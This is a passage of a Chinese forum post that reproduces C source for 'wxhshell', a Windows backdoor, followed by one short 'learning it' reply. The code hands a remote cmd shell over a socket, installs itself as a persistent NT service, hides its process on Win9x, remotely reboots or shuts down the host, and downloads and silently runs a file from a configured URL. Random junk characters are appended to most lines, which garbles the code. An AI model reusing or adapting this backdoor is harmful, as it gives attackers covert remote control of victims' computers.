  send(wsh,msg_ws_err,strlen(msg_ws_err),0); = NHuj.  
  else cKJf0S:cx-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^,*ED Yz  
  } dn(I$K8  
  else { B>Tfyo  
 J@sH(S  
    switch(cmd[0]) { sU!h^N$  
  q,`"Z)97  
  // 帮助 3#N'nhUzA  
  case '?': { +Z> Y//  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HK&Ul=^VN|  
    break; 5$f vI#NO<  
  } R % [ZQ K  
  // 安装 t"x 8]Gy  
  case 'i': {  ;wo  
    if(Install()) ~e*3_l>9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p)6!GdT  
    else H'KCIqo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ).U\,@[A{  
    break; mApn[)?tv  
    } B7 PkCS&X  
  // 卸载 :btb|^C  
  case 'r': { j/.$ (E   
    if(Uninstall()) p]h;M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Qg).n>;z  
    else ]Z\Z_t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KuBN_bd  
    break; b-? wJSf|  
    } .#^ta9^t7  
  // 显示 wxhshell 所在路径 V"Cx5#\7C  
  case 'p': { gJa48 pi  
    char svExeFile[MAX_PATH]; w>#{Nl7gz  
    strcpy(svExeFile,"\n\r"); ?,s]5   
      strcat(svExeFile,ExeFile); ] V|hDU=t  
        send(wsh,svExeFile,strlen(svExeFile),0); di.yh3N$  
    break; y7CC5S ?  
    } C,;T/9  
  // 重启 o\/&05rp]  
  case 'b': { 42/MBP`\Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G47(LE"2b  
    if(Boot(REBOOT)) l5h+:^#M5c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xir ERc.e  
    else { rU6F$I=  
    closesocket(wsh); ->Z9j(JU  
    ExitThread(0); \c ')9g@  
    } V52>K$j  
    break; @!p bR(8  
    } ^}SP,lg'  
  // 关机 5Zf^cou  
  case 'd': { rX7GVg@H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ML_$/  
    if(Boot(SHUTDOWN)) / esdtH$=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [8C|v61Y  
    else { v~8Cp C  
    closesocket(wsh); [^Z)f<l  
    ExitThread(0); |>^5G@e  
    } fe!eZiE  
    break; uzoI*aqk-s  
    } dU}Cb?]7s  
  // 获取shell p9>{X\eT:  
  case 's': { 3Pu8IXW  
    CmdShell(wsh); V0)bPcS/  
    closesocket(wsh); 7xF)\um  
    ExitThread(0); l4s*+H$vd?  
    break; sL Kk1A  
  } $e~MKLd  
  // 退出 p< Y-b,&  
  case 'x': { reQr=OAez  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %p48=|+  
    CloseIt(wsh); eA{ nwtN  
    break; -Oi8]Xw^@y  
    } }/w]+f*  
  // 离开 F50l->F2&  
  case 'q': { N \~}`({  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t[e]AU[}  
    closesocket(wsh); u^O!5 'D%  
    WSACleanup(); A"e4w?  
    exit(1); h;+{0a  
    break; I4|LD/b  
        } F?z:[1(:  
  } o%b6"_~%3  
  } .FN;3HU  
XS}-@5TI  
  // 提示信息 S$O5jX 0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GE8.{P  
} T@Bu Fr`]<  
  } sYq:2Wn>8Q  
z`qb>Y"xf3  
  return; cP",szcY  
} 5tI#UBha  
"{S6iH)]8  
// shell模块句柄 'fs tfk  
int CmdShell(SOCKET sock) X"jL  
{ 4tEAi4H|`@  
STARTUPINFO si; 4Q!|fn0Sv  
ZeroMemory(&si,sizeof(si)); {Rdh4ZKh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  0ij YE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k:&vW21E  
PROCESS_INFORMATION ProcessInfo; 3(Ns1/;?,  
char cmdline[]="cmd"; DfU]+;AE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #bJp)&LO  
  return 0; q@G}Hjn  
} i[?VF\Y(  
@Di!~e6  
// 自身启动模式 hx*4xF  
int StartFromService(void) n0LNAhM  
{ oTRid G  
typedef struct p+pu_T;~  
{ [_KV;qS%/  
  DWORD ExitStatus; d A'0'M  
  DWORD PebBaseAddress; !{4'=+  
  DWORD AffinityMask; ^AShy`o^X  
  DWORD BasePriority; {!j)j6(NY  
  ULONG UniqueProcessId; VJ8'T"^Hf  
  ULONG InheritedFromUniqueProcessId; Y_}_)nE@m  
}   PROCESS_BASIC_INFORMATION; 9Trk&OB  
0~z`>#W,  
PROCNTQSIP NtQueryInformationProcess; k*u6'IKi.4  
o[1#)&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {{Qbu }/@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2cO6'?b  
#K`0b$  
  HANDLE             hProcess; hH9~.4+*`g  
  PROCESS_BASIC_INFORMATION pbi; {+ Ibi{  
em95ccs'-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zb&pH~ 7  
  if(NULL == hInst ) return 0; ,N _/J4Us  
?S'aA !/;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x#5vdBf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aM xd"cTzx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jU kxA7 }}  
LXWI'nxV  
  if (!NtQueryInformationProcess) return 0; d/T&J=  
(t\U5-w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7x=4P|(\}  
  if(!hProcess) return 0; z(8G=C  
&S`g&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FrUqfTi+W  
ZPY&q&R  
  CloseHandle(hProcess); BG8/  
98)C 7N'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]DU?N7J  
if(hProcess==NULL) return 0; [KFCc_:  
qo$ls\[X  
HMODULE hMod; TqL+^:cq  
char procName[255]; ' tHa5`  
unsigned long cbNeeded; gq;>DY]   
BVj(Q}f8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ";7xE#jRk  
!yVY[  
  CloseHandle(hProcess); 'l`prp3  
zd)QCq  
if(strstr(procName,"services")) return 1; // 以服务启动 +Z2XP76(4A  
n((A:b  
  return 0; // 注册表启动 /M::x+/T  
} k0O5c[ j  
a??8)=0|}  
// 主模块 (5E09K$  
int StartWxhshell(LPSTR lpCmdLine) _~MX~M3MB  
{ #qmsZHd}b  
  SOCKET wsl; J^ewG  
BOOL val=TRUE; cC>Svf[CzK  
  int port=0; oPF]]Imu  
  struct sockaddr_in door; 7i{(,:  
-|^)8  
  if(wscfg.ws_autoins) Install(); ;x 2o|#`b  
YvcV801Go  
port=atoi(lpCmdLine); $i6z)]rjg  
A6 .wXv,  
if(port<=0) port=wscfg.ws_port; ,Pcg+^A  
\o/eF&  
  WSADATA data; mNacLkh[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +-(,'slov  
QRK\74'uY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zRD-[Z/-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p4MWX12  
  door.sin_family = AF_INET; :{ZwzJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  .gmS1ju  
  door.sin_port = htons(port); 0+$gR~^^  
Eyjsbj8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K0_gMi+bR  
closesocket(wsl); "f_qG2A{  
return 1; c AO:fb7  
} aA52Li  
S4 Uu/EX6S  
  if(listen(wsl,2) == INVALID_SOCKET) { ~CkOiWC0  
closesocket(wsl); 7L6L{~8 W  
return 1; tE {M  
} xQDQgvwa  
  Wxhshell(wsl); 1=z[U|&R  
  WSACleanup(); -,b+tC<V)0  
ZK'46lh  
return 0; Y 0Fq -H  
w-# f^#  
} :o{,F7(P  
oPr`SYB  
// 以NT服务方式启动 |k90aQO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 85H \v_[  
{ c+e?xXCEAz  
DWORD   status = 0; Jj+Q2D:  
  DWORD   specificError = 0xfffffff; ?YS>_ MN  
oo2d,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CN:T$ f|)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]q{_i   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [V:~j1{3  
  serviceStatus.dwWin32ExitCode     = 0; !pw )sO~  
  serviceStatus.dwServiceSpecificExitCode = 0; $7DW-TA  
  serviceStatus.dwCheckPoint       = 0; {~&Q"8 }G  
  serviceStatus.dwWaitHint       = 0; ;]Q6K9.d8  
{FI*oO1A~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gAdqZJR%]  
  if (hServiceStatusHandle==0) return; ]&]DF Y~n  
:tU^  
status = GetLastError(); ,P`NtTN-  
  if (status!=NO_ERROR) yiC7)=  
{ =3-?$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y< *-&  
    serviceStatus.dwCheckPoint       = 0; ;Go^)bN ;  
    serviceStatus.dwWaitHint       = 0;  XyE$0i~t  
    serviceStatus.dwWin32ExitCode     = status; ~>u| 7 M$(  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,GYQ,9:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IUv#nB3  
    return; ^wd@mWxx  
  } Fb]+h)on  
3;BIwb_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "4\  
  serviceStatus.dwCheckPoint       = 0; ,.QJ S6Yv  
  serviceStatus.dwWaitHint       = 0; yj&GJuNb~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GT<oYrjU  
} XlU\D}zS  
lxL.ztL  
// 处理NT服务事件,比如:启动、停止 u7hu8U=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )&j`5sSXcr  
{ jjj<B'zt  
switch(fdwControl) Q*>)W{H&)  
{ "Bf8mEmp  
case SERVICE_CONTROL_STOP: ]A=\P,D  
  serviceStatus.dwWin32ExitCode = 0; r3g^ 0|)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PO"lY'W.U  
  serviceStatus.dwCheckPoint   = 0; YJ6~P   
  serviceStatus.dwWaitHint     = 0; p!YK~cH[  
  { .<`)`:n+B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z\CvaX  
  } (^}t  
  return; S"h;u=5it  
case SERVICE_CONTROL_PAUSE: '37 {$VHw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Th9V8Rg+E  
  break; /\/^= j  
case SERVICE_CONTROL_CONTINUE:  *XhlIQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c{/R?<  
  break; I </P_:4G  
case SERVICE_CONTROL_INTERROGATE: 6AAvsu:  
  break; H:~p5t  
}; V@`b7GM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vzg^tJ  
} ^}-l["u`  
5eori8gr7  
// 标准应用程序主函数 7_1 Iadb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NlEyT9  
{ 'lZlfS:Z8  
a|u#w~  
// 获取操作系统版本 (WT\HR  
OsIsNt=GetOsVer(); 8IlUbj  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  <J;O$S  
kzZgNv#G;  
  // 从命令行安装 })-V,\  
  if(strpbrk(lpCmdLine,"iI")) Install(); #AGO~#aK  
z[c8W@OJ  
  // 下载执行文件 hH1Q:}a  
if(wscfg.ws_downexe) { / 3N2?zS{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $#h U_vr  
  WinExec(wscfg.ws_filenam,SW_HIDE); b \}a   
} >`x|E-X"  
7p.8{zQ*  
if(!OsIsNt) { *B|hRZka1A  
// 如果时win9x,隐藏进程并且设置为注册表启动 F|F0#HC ?  
HideProc(); MeBTc&S<  
StartWxhshell(lpCmdLine); $\P/ %eP  
} S5hc@^|0Z  
else Wa^Wn +r  
  if(StartFromService()) Z3TCi7,m  
  // 以服务方式启动 CB#2XS>V  
  StartServiceCtrlDispatcher(DispatchTable); fxcE1=a  
else A5Jadz~  
  // 普通方式启动 HKJCiQ|k  
  StartWxhshell(lpCmdLine); 5_!L"sJ  
YdCl  
return 0; Jq` Dvz  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八